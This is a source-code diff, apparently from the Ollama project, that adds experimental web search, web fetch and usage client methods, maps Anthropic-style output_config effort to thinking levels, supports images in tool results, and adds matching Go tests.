+		if r.URL.Path != "/api/experimental/web_fetch" {
+			t.Fatalf("path = %q, want /api/experimental/web_fetch", r.URL.Path)
+		}
+		var req api.WebFetchRequest
+		if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
+			t.Fatal(err)
+		}
+		if req.URL != "https://ollama.com" {
+			t.Fatalf("request URL = %q, want https://ollama.com", req.URL)
+		}
+		if err := json.NewEncoder(w).Encode(api.WebFetchResponse{
+			Title:   "Ollama",
+			Content: strings.Repeat("x", maxWebFetchContentRunes+25),
+		}); err != nil {
+			t.Fatal(err)
+		}
+	}))
+	defer ts.Close()
+	t.Setenv("OLLAMA_HOST", ts.URL)
+
+	result, err := (&WebFetch{}).Execute(t.Context(), coreagent.ToolContext{}, map[string]any{
+		"url": "https://ollama.com",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(result.Content, "[tool output truncated: showing first ~") ||
+		!strings.Contains(result.Content, "omitted ~7 tokens") ||
+		!strings.Contains(result.Content, "Use a narrower request or search query") {
+		t.Fatalf("content missing truncation marker: %q", result.Content)
+	}
+	if count := strings.Count(result.Content, "x"); count != maxWebFetchContentRunes {
+		t.Fatalf("captured content count = %d, want %d", count, maxWebFetchContentRunes)
+	}
+}
+
+func TestWebToolsRejectWhenCloudDisabled(t *testing.T) {
+	t.Setenv("OLLAMA_NO_CLOUD", "1")
+
+	for _, tt := range webToolCases {
+		t.Run(tt.name, func(t *testing.T) {
+			_, err := tt.tool.Execute(t.Context(), coreagent.ToolContext{}, tt.args)
+			want := internalcloud.DisabledError(tt.operation)
+			if err == nil || err.Error() != want {
+				t.Fatalf("error = %v, want %q", err, want)
+			}
+		})
+	}
+}

anthropic/anthropic.go

@@ -78,6 +78,11 @@ type MessagesRequest struct {
 	ToolChoice    *ToolChoice     `json:"tool_choice,omitempty"`
 	Thinking      *ThinkingConfig `json:"thinking,omitempty"`
 	Metadata      *Metadata       `json:"metadata,omitempty"`
+	OutputConfig  *OutputConfig   `json:"output_config,omitempty"`
+}
+
+type OutputConfig struct {
+	Effort string `json:"effort,omitempty"`
 }
 
 // MessageParam represents a message in the request
@@ -161,7 +166,7 @@ type WebSearchToolResultError struct {
 
 // ImageSource represents the source of an image
 type ImageSource struct {
-	Type      string `json:"type"` // "base64" or "url"
+	Type      string `json:"type"` // "base64"
 	MediaType string `json:"media_type,omitempty"`
 	Data      string `json:"data,omitempty"`
 	URL       string `json:"url,omitempty"`
@@ -373,9 +378,26 @@ func FromMessagesRequest(r MessagesRequest) (*api.ChatRequest, error) {
 	}
 
 	var think *api.ThinkValue
+	normalizedEffort := ""
+	if r.OutputConfig != nil {
+		normalizedEffort = strings.ToLower(strings.TrimSpace(r.OutputConfig.Effort))
+		if normalizedEffort == "xhigh" {
+			normalizedEffort = "high"
+		}
+	}
+
 	if r.Thinking != nil && r.Thinking.Type == "enabled" {
 		think = &api.ThinkValue{Value: true}
 	}
+	if r.Thinking != nil && r.Thinking.Type == "disabled" {
+		think = &api.ThinkValue{Value: false}
+	}
+	if think == nil && r.OutputConfig != nil {
+		switch normalizedEffort {
+		case "high", "medium", "low", "max":
+			think = &api.ThinkValue{Value: normalizedEffort}
+		}
+	}
 
 	stream := r.Stream
 	convertedRequest := &api.ChatRequest{
@@ -425,17 +447,12 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
 				return nil, errors.New("invalid image source")
 			}
 
-			if block.Source.Type == "base64" {
-				decoded, err := base64.StdEncoding.DecodeString(block.Source.Data)
-				if err != nil {
-					logutil.Trace("anthropic: invalid base64 image data", "role", role, "error", err)
-					return nil, fmt.Errorf("invalid base64 image data: %w", err)
-				}
-				images = append(images, decoded)
-			} else {
-				logutil.Trace("anthropic: unsupported image source type", "role", role, "source_type", block.Source.Type)
-				return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", block.Source.Type)
+			decoded, err := resolveImageSource(block.Source)
+			if err != nil {
+				logutil.Trace("anthropic: unsupported image source", "role", role, "source_type", block.Source.Type, "error", err)
+				return nil, err
 			}
+			images = append(images, decoded)
 
 		case "tool_use":
 			toolUseBlocks++
@@ -457,26 +474,16 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
 
 		case "tool_result":
 			toolResultBlocks++
-			var resultContent string
-
-			switch c := block.Content.(type) {
-			case string:
-				resultContent = c
-			case []any:
-				for _, cb := range c {
-					if cbMap, ok := cb.(map[string]any); ok {
-						if cbMap["type"] == "text" {
-							if text, ok := cbMap["text"].(string); ok {
-								resultContent += text
-							}
-						}
-					}
-				}
+			resultContent, resultImages, err := convertToolResultContent(block.Content)
+			if err != nil {
+				logutil.Trace("anthropic: invalid tool_result content", "role", role, "error", err)
+				return nil, err
 			}
 
 			toolResults = append(toolResults, api.Message{
 				Role:       "tool",
 				Content:    resultContent,
+				Images:     resultImages,
 				ToolCallID: block.ToolUseID,
 			})
 
@@ -508,6 +515,10 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
 		}
 	}
 
+	if role == "user" && len(toolResults) > 0 {
+		messages = append(messages, toolResults...)
+	}
+
 	if textContent.Len() > 0 || len(images) > 0 || len(toolCalls) > 0 || thinking != "" {
 		m := api.Message{
 			Role:      role,
@@ -519,8 +530,10 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
 		messages = append(messages, m)
 	}
 
-	// Add tool results as separate messages
-	messages = append(messages, toolResults...)
+	// Add tool results as separate messages.
+	if role != "user" || len(toolResults) == 0 {
+		messages = append(messages, toolResults...)
+	}
 	logutil.Trace("anthropic: converted block message",
 		"role", role,
 		"blocks", len(msg.Content),
@@ -764,6 +777,18 @@ func (c *StreamConverter) Process(r api.ChatResponse) []StreamEvent {
 	}
 
 	if r.Message.Thinking != "" && !c.thinkingDone {
+		if c.textStarted {
+			events = append(events, StreamEvent{
+				Event: "content_block_stop",
+				Data: ContentBlockStopEvent{
+					Type:  "content_block_stop",
+					Index: c.contentIndex,
+				},
+			})
+			c.contentIndex++
+			c.textStarted = false
+		}
+
 		if !c.thinkingStarted {
 			c.thinkingStarted = true
 			events = append(events, StreamEvent{
@@ -969,6 +994,71 @@ func GenerateMessageID() string {
 	return generateID("msg")
 }
 
+func resolveImageSource(source *ImageSource) (api.ImageData, error) {
+	if source.Type != "base64" {
+		return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", source.Type)
+	}
+
+	decoded, err := base64.StdEncoding.DecodeString(source.Data)
+	if err != nil {
+		return nil, fmt.Errorf("invalid base64 image data: %w", err)
+	}
+
+	return decoded, nil
+}
+
+func convertToolResultContent(content any) (string, []api.ImageData, error) {
+	switch c := content.(type) {
+	case nil:
+		return "", nil, nil
+	case string:
+		return c, nil, nil
+	case []any:
+		var text strings.Builder
+		var images []api.ImageData
+
+		for _, cb := range c {
+			cbMap, ok := cb.(map[string]any)
+			if !ok {
+				continue
+			}
+
+			switch cbMap["type"] {
+			case "text":
+				if t, ok := cbMap["text"].(string); ok {
+					text.WriteString(t)
+				}
+			case "image":
+				rawSource, ok := cbMap["source"].(map[string]any)
+				if !ok {
+					return "", nil, errors.New("invalid tool_result image source")
+				}
+
+				var source ImageSource
+				if rawType, ok := rawSource["type"].(string); ok {
+					source.Type = rawType
+				}
+				if rawMediaType, ok := rawSource["media_type"].(string); ok {
+					source.MediaType = rawMediaType
+				}
+				if rawData, ok := rawSource["data"].(string); ok {
+					source.Data = rawData
+				}
+
+				img, err := resolveImageSource(&source)
+				if err != nil {
+					return "", nil, err
+				}
+				images = append(images, img)
+			}
+		}
+
+		return text.String(), images, nil
+	default:
+		return "", nil, nil
+	}
+}
+
 // ptr returns a pointer to the given string value
 func ptr(s string) *string {
 	return &s

anthropic/anthropic_test.go

@@ -3,6 +3,7 @@ package anthropic
 import (
 	"encoding/base64"
 	"encoding/json"
+	"fmt"
 	"strings"
 	"testing"
 
@@ -271,6 +272,241 @@ func TestFromMessagesRequest_WithToolResult(t *testing.T) {
 	}
 }
 
+func TestFromMessagesRequest_WithToolResultImage(t *testing.T) {
+	imgData, _ := base64.StdEncoding.DecodeString(testImage)
+
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "user",
+				Content: []ContentBlock{
+					{
+						Type:      "tool_result",
+						ToolUseID: "call_img",
+						Content: []any{
+							map[string]any{"type": "text", "text": "Attached image"},
+							map[string]any{
+								"type": "image",
+								"source": map[string]any{
+									"type":       "base64",
+									"media_type": "image/png",
+									"data":       testImage,
+								},
+							},
+						},
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 1 {
+		t.Fatalf("expected 1 message, got %d", len(result.Messages))
+	}
+
+	msg := result.Messages[0]
+	if msg.Role != "tool" {
+		t.Errorf("expected role 'tool', got %q", msg.Role)
+	}
+	if msg.ToolCallID != "call_img" {
+		t.Errorf("expected tool_call_id 'call_img', got %q", msg.ToolCallID)
+	}
+	if msg.Content != "Attached image" {
+		t.Errorf("unexpected content: %q", msg.Content)
+	}
+	if len(msg.Images) != 1 {
+		t.Fatalf("expected 1 image, got %d", len(msg.Images))
+	}
+	if string(msg.Images[0]) != string(imgData) {
+		t.Error("image data mismatch")
+	}
+}
+
+func TestFromMessagesRequest_WithToolResultFollowedByUserText(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "assistant",
+				Content: []ContentBlock{
+					{
+						Type:  "tool_use",
+						ID:    "call_read",
+						Name:  "Read",
+						Input: makeArgs("file_path", "/Users/hoyyeva/Desktop/aaa.png"),
+					},
+				},
+			},
+			{
+				Role: "user",
+				Content: []ContentBlock{
+					{
+						Type:      "tool_result",
+						ToolUseID: "call_read",
+						Content:   "Read image (311.5KB)",
+					},
+					{
+						Type: "text",
+						Text: ptr("Please describe it."),
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 3 {
+		t.Fatalf("expected 3 messages, got %d", len(result.Messages))
+	}
+
+	if result.Messages[1].Role != "tool" {
+		t.Fatalf("expected second message to be tool, got %q", result.Messages[1].Role)
+	}
+	if result.Messages[1].ToolCallID != "call_read" {
+		t.Fatalf("expected tool_call_id 'call_read', got %q", result.Messages[1].ToolCallID)
+	}
+	if result.Messages[2].Role != "user" {
+		t.Fatalf("expected third message to be user, got %q", result.Messages[2].Role)
+	}
+	if result.Messages[2].Content != "Please describe it." {
+		t.Fatalf("unexpected user content: %q", result.Messages[2].Content)
+	}
+}
+
+func TestFromMessagesRequest_WithOutputConfigEffort(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "gemma4",
+		MaxTokens: 32000,
+		Messages: []MessageParam{
+			{
+				Role:    "user",
+				Content: textContent("Describe the image."),
+			},
+		},
+		OutputConfig: &OutputConfig{
+			Effort: "high",
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Think == nil {
+		t.Fatal("expected think to be set from output_config.effort")
+	}
+
+	if got := result.Think.String(); got != "high" {
+		t.Fatalf("expected think level 'high', got %q", got)
+	}
+}
+
+func TestFromMessagesRequest_WithOutputConfigEffortXHighMapsToHigh(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "gemma4",
+		MaxTokens: 32000,
+		Messages: []MessageParam{
+			{
+				Role:    "user",
+				Content: textContent("Describe the image."),
+			},
+		},
+		OutputConfig: &OutputConfig{
+			Effort: "xhigh",
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Think == nil {
+		t.Fatal("expected think to be set from output_config.effort")
+	}
+
+	if got := result.Think.String(); got != "high" {
+		t.Fatalf("expected think level 'high' for xhigh effort, got %q", got)
+	}
+}
+
+func TestFromMessagesRequest_ThinkingDisabledOverridesOutputConfigEffort(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "gemma4",
+		MaxTokens: 32000,
+		Messages: []MessageParam{
+			{
+				Role:    "user",
+				Content: textContent("Describe the image."),
+			},
+		},
+		Thinking: &ThinkingConfig{
+			Type: "disabled",
+		},
+		OutputConfig: &OutputConfig{
+			Effort: "high",
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Think == nil {
+		t.Fatal("expected think to be set")
+	}
+
+	if got := result.Think.Value; got != false {
+		t.Fatalf("expected think=false when thinking is disabled, got %v", got)
+	}
+}
+
+func TestFromMessagesRequest_ThinkingAdaptiveUsesOutputConfigEffort(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "gemma4",
+		MaxTokens: 32000,
+		Messages: []MessageParam{
+			{
+				Role:    "user",
+				Content: textContent("Describe the image."),
+			},
+		},
+		Thinking: &ThinkingConfig{
+			Type: "adaptive",
+		},
+		OutputConfig: &OutputConfig{
+			Effort: "high",
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Think == nil {
+		t.Fatal("expected think to be set from output_config.effort")
+	}
+
+	if got := result.Think.String(); got != "high" {
+		t.Fatalf("expected think level 'high' for adaptive thinking, got %q", got)
+	}
+}
+
 func TestFromMessagesRequest_WithTools(t *testing.T) {
 	req := MessagesRequest{
 		Model:     "test-model",
@@ -905,6 +1141,56 @@ func TestStreamConverter_ThinkingDirectlyFollowedByToolCall(t *testing.T) {
 	}
 }
 
+func TestStreamConverter_TextBeforeThinking(t *testing.T) {
+	conv := NewStreamConverter("msg_123", "test-model", 0)
+
+	responses := []api.ChatResponse{
+		{Message: api.Message{Role: "assistant", Content: "---\n"}},
+		{Message: api.Message{Role: "assistant", Thinking: "Let me think."}},
+		{
+			Message:    api.Message{Role: "assistant", Content: "The answer."},
+			Done:       true,
+			DoneReason: "stop",
+			Metrics:    api.Metrics{PromptEvalCount: 10, EvalCount: 5},
+		},
+	}
+
+	var got []string
+	for _, response := range responses {
+		for _, event := range conv.Process(response) {
+			switch data := event.Data.(type) {
+			case ContentBlockStartEvent:
+				got = append(got, fmt.Sprintf("%s:%s:%d", event.Event, data.ContentBlock.Type, data.Index))
+			case ContentBlockDeltaEvent:
+				got = append(got, fmt.Sprintf("%s:%s:%d", event.Event, data.Delta.Type, data.Index))
+			case ContentBlockStopEvent:
+				got = append(got, fmt.Sprintf("%s:%d", event.Event, data.Index))
+			default:
+				got = append(got, event.Event)
+			}
+		}
+	}
+
+	want := []string{
+		"message_start",
+		"content_block_start:text:0",
+		"content_block_delta:text_delta:0",
+		"content_block_stop:0",
+		"content_block_start:thinking:1",
+		"content_block_delta:thinking_delta:1",
+		"content_block_stop:1",
+		"content_block_start:text:2",
+		"content_block_delta:text_delta:2",
+		"content_block_stop:2",
+		"message_delta",
+		"message_stop",
+	}
+
+	if diff := cmp.Diff(want, got); diff != "" {
+		t.Fatalf("unexpected stream events (-want +got):\n%s", diff)
+	}
+}
+
 func TestStreamConverter_ToolCallWithUnmarshalableArgs(t *testing.T) {
 	// Test that unmarshalable arguments (like channels) are handled gracefully
 	// and don't cause a panic or corrupt stream

api/client.go

@@ -259,6 +259,10 @@ func (c *Client) stream(ctx context.Context, method, path string, data any, fn f
 		}
 	}
 
+	if err := scanner.Err(); err != nil {
+		return err
+	}
+
 	return nil
 }
 
@@ -368,6 +372,16 @@ func (c *Client) List(ctx context.Context) (*ListResponse, error) {
 	return &lr, nil
 }
 
+// ModelRecommendationsExperimental lists model recommendations from the local
+// server's experimental recommendations endpoint.
+func (c *Client) ModelRecommendationsExperimental(ctx context.Context) (*ModelRecommendationsResponse, error) {
+	var resp ModelRecommendationsResponse
+	if err := c.do(ctx, http.MethodGet, "/api/experimental/model-recommendations", nil, &resp); err != nil {
+		return nil, err
+	}
+	return &resp, nil
+}
+
 // ListRunning lists running models.
 func (c *Client) ListRunning(ctx context.Context) (*ProcessResponse, error) {
 	var lr ProcessResponse
@@ -459,6 +473,26 @@ func (c *Client) CloudStatusExperimental(ctx context.Context) (*StatusResponse,
 	return &status, nil
 }
 
+// WebSearchExperimental searches the web through the local server's
+// experimental web search endpoint.
+func (c *Client) WebSearchExperimental(ctx context.Context, req *WebSearchRequest) (*WebSearchResponse, error) {
+	var resp WebSearchResponse
+	if err := c.do(ctx, http.MethodPost, "/api/experimental/web_search", req, &resp); err != nil {
+		return nil, err
+	}
+	return &resp, nil
+}
+
+// WebFetchExperimental fetches web page content through the local server's
+// experimental web fetch endpoint.
+func (c *Client) WebFetchExperimental(ctx context.Context, req *WebFetchRequest) (*WebFetchResponse, error) {
+	var resp WebFetchResponse
+	if err := c.do(ctx, http.MethodPost, "/api/experimental/web_fetch", req, &resp); err != nil {
+		return nil, err
+	}
+	return &resp, nil
+}
+
 // Signout will signout a client for a local ollama server.
 func (c *Client) Signout(ctx context.Context) error {
 	return c.do(ctx, http.MethodPost, "/api/signout", nil, nil)
@@ -476,3 +510,13 @@ func (c *Client) Whoami(ctx context.Context) (*UserResponse, error) {
 	}
 	return &resp, nil
 }
+
+// Usage returns the authenticated user's recent activity and included-usage
+// limits.
+func (c *Client) Usage(ctx context.Context) (*UsageResponse, error) {
+	var resp UsageResponse
+	if err := c.do(ctx, http.MethodGet, "/api/usage", nil, &resp); err != nil {
+		return nil, err
+	}
+	return &resp, nil
+}

api/client_test.go

@@ -3,6 +3,7 @@ package api
 import (
 	"encoding/json"
 	"fmt"
+	"io"
 	"net/http"
 	"net/http/httptest"
 	"net/url"
@@ -50,6 +51,32 @@ func TestClientFromEnvironment(t *testing.T) {
 	}
 }
 
+func TestClientUsage(t *testing.T) {
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.Method != http.MethodGet || r.URL.Path != "/api/usage" {
+			t.Fatalf("request = %s %s, want GET /api/usage", r.Method, r.URL.Path)
+		}
+		fmt.Fprint(w, `{"activity":{"cost":"0.00709","period":{"type":"last_4_weeks","starting_at":"2026-06-29T00:00:00Z","ending_at":"2026-07-27T00:00:00Z"},"models":[{"name":"qwen3-coder:480b","request_count":1,"cost":"0.00709"}]},"limits":{"session":{"usage":0.006,"models":[]},"weekly":{"usage":0,"models":[]}}}`)
+	}))
+	defer ts.Close()
+
+	base, err := url.Parse(ts.URL)
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	got, err := NewClient(base, ts.Client()).Usage(t.Context())
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got.Activity.Cost != "0.00709" {
+		t.Errorf("activity cost = %q, want 0.00709", got.Activity.Cost)
+	}
+	if len(got.Activity.Models) != 1 || got.Activity.Models[0].Name != "qwen3-coder:480b" {
+		t.Errorf("activity models = %#v, want qwen3-coder:480b", got.Activity.Models)
+	}
+}
+
 // testError represents an internal error type with status code and message
 // this is used since the error response from the server is not a standard error struct
 type testError struct {
@@ -192,6 +219,35 @@ func TestClientStream(t *testing.T) {
 	}
 }
 
+func TestClientStreamReportsReadErrors(t *testing.T) {
+	client := NewClient(
+		&url.URL{Scheme: "http", Host: "example.com"},
+		&http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) {
+			body := failingReader{
+				data: []byte(`{"message":{"content":"partial"}}` + "\n"),
+				err:  io.ErrUnexpectedEOF,
+			}
+
+			return &http.Response{
+				StatusCode: http.StatusOK,
+				Status:     "200 OK",
+				Body:       io.NopCloser(&body),
+				Header:     make(http.Header),
+			}, nil
+		})},
+	)
+
+	err := client.stream(t.Context(), http.MethodPost, "/api/chat", nil, func([]byte) error {
+		return nil
+	})
+	if err == nil {
+		t.Fatal("expected stream read error")
+	}
+	if !strings.Contains(err.Error(), io.ErrUnexpectedEOF.Error()) {
+		t.Fatalf("expected unexpected EOF, got %v", err)
+	}
+}
+
 func TestClientDo(t *testing.T) {
 	testCases := []struct {
 		name           string
@@ -320,3 +376,99 @@ func TestClientDo(t *testing.T) {
 		})
 	}
 }
+
+func TestClientWebSearchExperimentalUsesLocalRoute(t *testing.T) {
+	var gotPath string
+	var gotMethod string
+	var gotRequest WebSearchRequest
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		gotPath = r.URL.Path
+		gotMethod = r.Method
+		if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
+			t.Fatal(err)
+		}
+		if err := json.NewEncoder(w).Encode(WebSearchResponse{
+			Results: []WebSearchResult{{Title: "Ollama", URL: "https://ollama.com", Content: "models"}},
+		}); err != nil {
+			t.Fatal(err)
+		}
+	}))
+	defer ts.Close()
+
+	client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
+	resp, err := client.WebSearchExperimental(t.Context(), &WebSearchRequest{Query: "ollama", MaxResults: 3})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if gotMethod != http.MethodPost {
+		t.Fatalf("method = %q, want POST", gotMethod)
+	}
+	if gotPath != "/api/experimental/web_search" {
+		t.Fatalf("path = %q, want /api/experimental/web_search", gotPath)
+	}
+	if gotRequest.Query != "ollama" || gotRequest.MaxResults != 3 {
+		t.Fatalf("request = %#v", gotRequest)
+	}
+	if len(resp.Results) != 1 || resp.Results[0].Title != "Ollama" {
+		t.Fatalf("response = %#v", resp)
+	}
+}
+
+func TestClientWebFetchExperimentalUsesLocalRoute(t *testing.T) {
+	var gotPath string
+	var gotMethod string
+	var gotRequest WebFetchRequest
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		gotPath = r.URL.Path
+		gotMethod = r.Method
+		if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
+			t.Fatal(err)
+		}
+		if err := json.NewEncoder(w).Encode(WebFetchResponse{
+			Title:   "Ollama",
+			Content: "models",
+			Links:   []string{"https://ollama.com/library"},
+		}); err != nil {
+			t.Fatal(err)
+		}
+	}))
+	defer ts.Close()
+
+	client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
+	resp, err := client.WebFetchExperimental(t.Context(), &WebFetchRequest{URL: "https://ollama.com"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if gotMethod != http.MethodPost {
+		t.Fatalf("method = %q, want POST", gotMethod)
+	}
+	if gotPath != "/api/experimental/web_fetch" {
+		t.Fatalf("path = %q, want /api/experimental/web_fetch", gotPath)
+	}
+	if gotRequest.URL != "https://ollama.com" {
+		t.Fatalf("request = %#v", gotRequest)
+	}
+	if resp.Title != "Ollama" || resp.Content != "models" {
+		t.Fatalf("response = %#v", resp)
+	}
+}
+
+type roundTripFunc func(*http.Request) (*http.Response, error)
+
+func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) {
+	return f(req)
+}
+
+type failingReader struct {
+	data []byte
+	err  error
+}
+
+func (r *failingReader) Read(p []byte) (int, error) {
+	if len(r.data) > 0 {
+		n := copy(p, r.data)
+		r.data = r.data[n:]
+		return n, nil
+	}
+	return 0, r.err
+}

api/types.go

@@ -600,12 +600,13 @@ type Options struct {
 
 // Runner options which must be set when the model is loaded into memory
 type Runner struct {
-	NumCtx    int   `json:"num_ctx,omitempty"`
-	NumBatch  int   `json:"num_batch,omitempty"`
-	NumGPU    int   `json:"num_gpu,omitempty"`
-	MainGPU   int   `json:"main_gpu,omitempty"`
-	UseMMap   *bool `json:"use_mmap,omitempty"`
-	NumThread int   `json:"num_thread,omitempty"`
+	NumCtx          int   `json:"num_ctx,omitempty"`
+	NumBatch        int   `json:"num_batch,omitempty"`
+	NumGPU          int   `json:"num_gpu,omitempty"`
+	MainGPU         *int  `json:"main_gpu,omitempty"`
+	UseMMap         *bool `json:"use_mmap,omitempty"`
+	NumThread       int   `json:"num_thread,omitempty"`
+	DraftNumPredict int   `json:"draft_num_predict,omitempty"`
 }
 
 // EmbedRequest is the request passed to [Client.Embed].
@@ -672,6 +673,9 @@ type CreateRequest struct {
 	// Quantize is the quantization format for the model; leave blank to not change the quantization level.
 	Quantize string `json:"quantize,omitempty"`
 
+	// DraftQuantize is the quantization format for the draft model.
+	DraftQuantize string `json:"draft_quantize,omitempty"`
+
 	// From is the name of the model or file to use as the source.
 	From string `json:"from,omitempty"`
 
@@ -681,6 +685,9 @@ type CreateRequest struct {
 	// Files is a map of files include when creating the model.
 	Files map[string]string `json:"files,omitempty"`
 
+	// DraftFiles is a map of draft model files to include when creating the model.
+	DraftFiles map[string]string `json:"draft_files,omitempty"`
+
 	// Adapters is a map of LoRA adapters to include when creating the model.
 	Adapters map[string]string `json:"adapters,omitempty"`
 
@@ -802,6 +809,21 @@ type ListResponse struct {
 	Models []ListModelResponse `json:"models"`
 }
 
+// ModelRecommendationsResponse is the response from [Client.ModelRecommendationsExperimental].
+type ModelRecommendationsResponse struct {
+	Recommendations []ModelRecommendation `json:"recommendations"`
+}
+
+// ModelRecommendation is a single recommendation entry in [ModelRecommendationsResponse].
+type ModelRecommendation struct {
+	Model           string `json:"model"`
+	Description     string `json:"description"`
+	ContextLength   int    `json:"context_length,omitempty"`
+	MaxOutputTokens int    `json:"max_output_tokens,omitempty"`
+	VRAMBytes       int64  `json:"vram_bytes,omitempty"`
+	RequiredPlan    string `json:"required_plan,omitempty"`
+}
+
 // ProcessResponse is the response from [Client.Process].
 type ProcessResponse struct {
 	Models []ProcessModelResponse `json:"models"`
@@ -809,14 +831,15 @@ type ProcessResponse struct {
 
 // ListModelResponse is a single model description in [ListResponse].
 type ListModelResponse struct {
-	Name        string       `json:"name"`
-	Model       string       `json:"model"`
-	RemoteModel string       `json:"remote_model,omitempty"`
-	RemoteHost  string       `json:"remote_host,omitempty"`
-	ModifiedAt  time.Time    `json:"modified_at"`
-	Size        int64        `json:"size"`
-	Digest      string       `json:"digest"`
-	Details     ModelDetails `json:"details,omitempty"`
+	Name         string             `json:"name"`
+	Model        string             `json:"model"`
+	RemoteModel  string             `json:"remote_model,omitempty"`
+	RemoteHost   string             `json:"remote_host,omitempty"`
+	ModifiedAt   time.Time          `json:"modified_at"`
+	Size         int64              `json:"size"`
+	Digest       string             `json:"digest"`
+	Details      ModelDetails       `json:"details,omitempty"`
+	Capabilities []model.Capability `json:"capabilities,omitempty"`
 }
 
 // ProcessModelResponse is a single model description in [ProcessResponse].
@@ -845,6 +868,36 @@ type StatusResponse struct {
 	Cloud CloudStatus `json:"cloud"`
 }
 
+// WebSearchRequest is the request for [Client.WebSearchExperimental].
+type WebSearchRequest struct {
+	Query      string `json:"query"`
+	MaxResults int    `json:"max_results,omitempty"`
+}
+
+// WebSearchResult is a single result from [Client.WebSearchExperimental].
+type WebSearchResult struct {
+	Title   string `json:"title"`
+	URL     string `json:"url"`
+	Content string `json:"content"`
+}
+
+// WebSearchResponse is the response from [Client.WebSearchExperimental].
+type WebSearchResponse struct {
+	Results []WebSearchResult `json:"results"`
+}
+
+// WebFetchRequest is the request for [Client.WebFetchExperimental].
+type WebFetchRequest struct {
+	URL string `json:"url"`
+}
+
+// WebFetchResponse is the response from [Client.WebFetchExperimental].
+type WebFetchResponse struct {
+	Title   string   `json:"title"`
+	Content string   `json:"content"`
+	Links   []string `json:"links,omitempty"`
+}
+
 // GenerateResponse is the response passed into [GenerateResponseFunc].
 type GenerateResponse struct {
 	// Model is the model name that generated the response.
@@ -909,6 +962,8 @@ type ModelDetails struct {
 	Families          []string `json:"families"`
 	ParameterSize     string   `json:"parameter_size"`
 	QuantizationLevel string   `json:"quantization_level"`
+	ContextLength     int      `json:"context_length,omitempty"`
+	EmbeddingLength   int      `json:"embedding_length,omitempty"`
 }
 
 // UserResponse provides information about a user.
@@ -923,6 +978,45 @@ type UserResponse struct {
 	Plan      string    `json:"plan,omitempty"`
 }
 
+// UsageResponse reports recent activity and included-usage limits.
+type UsageResponse struct {
+	Activity UsageActivity `json:"activity"`
+	Limits   UsageLimits   `json:"limits"`
+}
+
+// UsageActivity reports usage activity over a period.
+type UsageActivity struct {
+	Cost   string       `json:"cost"`
+	Period UsagePeriod  `json:"period"`
+	Models []UsageModel `json:"models"`
+}
+
+// UsagePeriod describes the time window the usage covers.
+type UsagePeriod struct {
+	Type       string    `json:"type"`
+	StartingAt time.Time `json:"starting_at"`
+	EndingAt   time.Time `json:"ending_at"`
+}
+
+// UsageLimits reports included usage for the current session and week.
+type UsageLimits struct {
+	Session UsageLimit `json:"session"`
+	Weekly  UsageLimit `json:"weekly"`
+}
+
+// UsageLimit reports the consumed fraction of an included-usage limit.
+type UsageLimit struct {
+	Usage  float64      `json:"usage"`
+	Models []UsageModel `json:"models"`
+}
+
+// UsageModel reports a model's activity.
+type UsageModel struct {
+	Name         string `json:"name"`
+	RequestCount int    `json:"request_count"`
+	Cost         string `json:"cost,omitempty"`
+}
+
 // Tensor describes the metadata for a given tensor.
 type Tensor struct {
 	Name  string   `json:"name"`
@@ -1031,14 +1125,25 @@ func (opts *Options) FromMap(m map[string]any) error {
 				}
 				field.Set(reflect.ValueOf(slice))
 			case reflect.Pointer:
-				var b bool
-				if field.Type() == reflect.TypeOf(&b) {
+				switch field.Type().Elem().Kind() {
+				case reflect.Bool:
 					val, ok := val.(bool)
 					if !ok {
 						return fmt.Errorf("option %q must be of type boolean", key)
 					}
 					field.Set(reflect.ValueOf(&val))
-				} else {
+				case reflect.Int:
+					var i int
+					switch t := val.(type) {
+					case int64:
+						i = int(t)
+					case float64:
+						i = int(t)
+					default:
+						return fmt.Errorf("option %q must be of type integer", key)
+					}
+					field.Set(reflect.ValueOf(&i))
+				default:
